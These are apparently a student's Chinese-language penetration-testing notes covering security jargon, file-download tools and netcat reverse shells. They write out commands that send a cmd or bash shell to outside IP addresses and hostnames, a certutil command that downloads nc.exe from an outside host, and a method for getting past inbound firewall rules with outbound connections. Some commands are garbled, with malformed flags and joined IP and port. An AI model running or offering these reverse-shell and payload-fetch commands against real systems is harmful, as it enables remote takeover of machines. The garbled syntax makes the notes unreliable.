前后端,POC/EXP,Payload/Shellcode,后门/Webshell,木马/病毒,反弹,回显,跳板,黑白盒测试,暴力破解,社会工程学,撞库,ATT&CK等
https://www.cnblogs.com/sunny11/p/13583083.html
https://blog.csdn.net/weixin_43303273/article/details/83029138
用户和用户组,管理权限,系统权限,Administration,User
Linux:wget curl python ruby perl java等
Xshell连接服务器操作
wget+下载地址,ls查看当前目录文件
curl+下载地址 -o(重命名?) 名字.exe(举例)
Windows:PowerShell Certutil Bitsadmin msiexec mshta rundll32等
[~]#棱角 ::Edge.Forum*
(棱角社区-输入地址 端口 文件名-获取powershell命令)
cd查看当前目录文件
注意在文件夹中是否有权限下载
数据回显:不知道命令是否执行成功,无交互式,需要回显
eg:useradd用户名passwd密码
(测试Linux系统添加用户或修改密码命令交互回显问题
数据通信:
虚拟机对于主机是一个内网
内网->xiaoyu8
xiaoyu8!->内网
内网->xiaoyu8
虚拟机nc -e cmd 47.75.212.155.5577将当前的cmd映射到外网地址端口去(传显)
外网主机nc lvvp 5577(监听)
达成通讯,外网就可以控制内网了
xiaoyu8!->内网
外网主机nc -e cmd 171.40.76.231.5577(在浏览器上搜索到ip)将当前的cmd映射到内网网地址端口去(传显)
虚拟机nc lvvp 5577(监听)
失败(因为)171这个地址不是虚拟机的地址,只是出口(网关)的地址
将映射ip端口换成192.168.46.157 5577
也失败(因为)这个192地址哪都有,外网主机会优先找自己的192地址,找不到该特定内网的192地址
解决:路由器端口映射转发
准备两台外网主机
xiaoyu(xshell-aliyun)<->xiaoyu8(Windows主机)
xiaoyu防火墙->xiaoyu8(出站检测宽松)
xiaoyu8!-> xiaoyu防火墙(入站检测严格)
eg:老版本为ncat命令,具体命令格式均可在棱角社区查找
(xiaoyu)ncat www.xiaoyu8.com 5566 -e /bin/bash
(xiaoyu8)nc lvvp 5566
连接成功(xiaoyu8防火墙关闭状态)
打开了xiaoyu8防火墙之后,就连不上了
对于Windows主机来说,入站
防火墙(入站检测合格,出站检测宽松)
(xiaoyu8)nc -c cmd 47.94.236.117 5566
(xiaoyu)nc -lvvp 5566
连接成功
文件下载&反弹Shell:
certutil -urlcache -split -f http://www.xiaodi8.com/nc.exe
nc -e cmd 47.75.212.155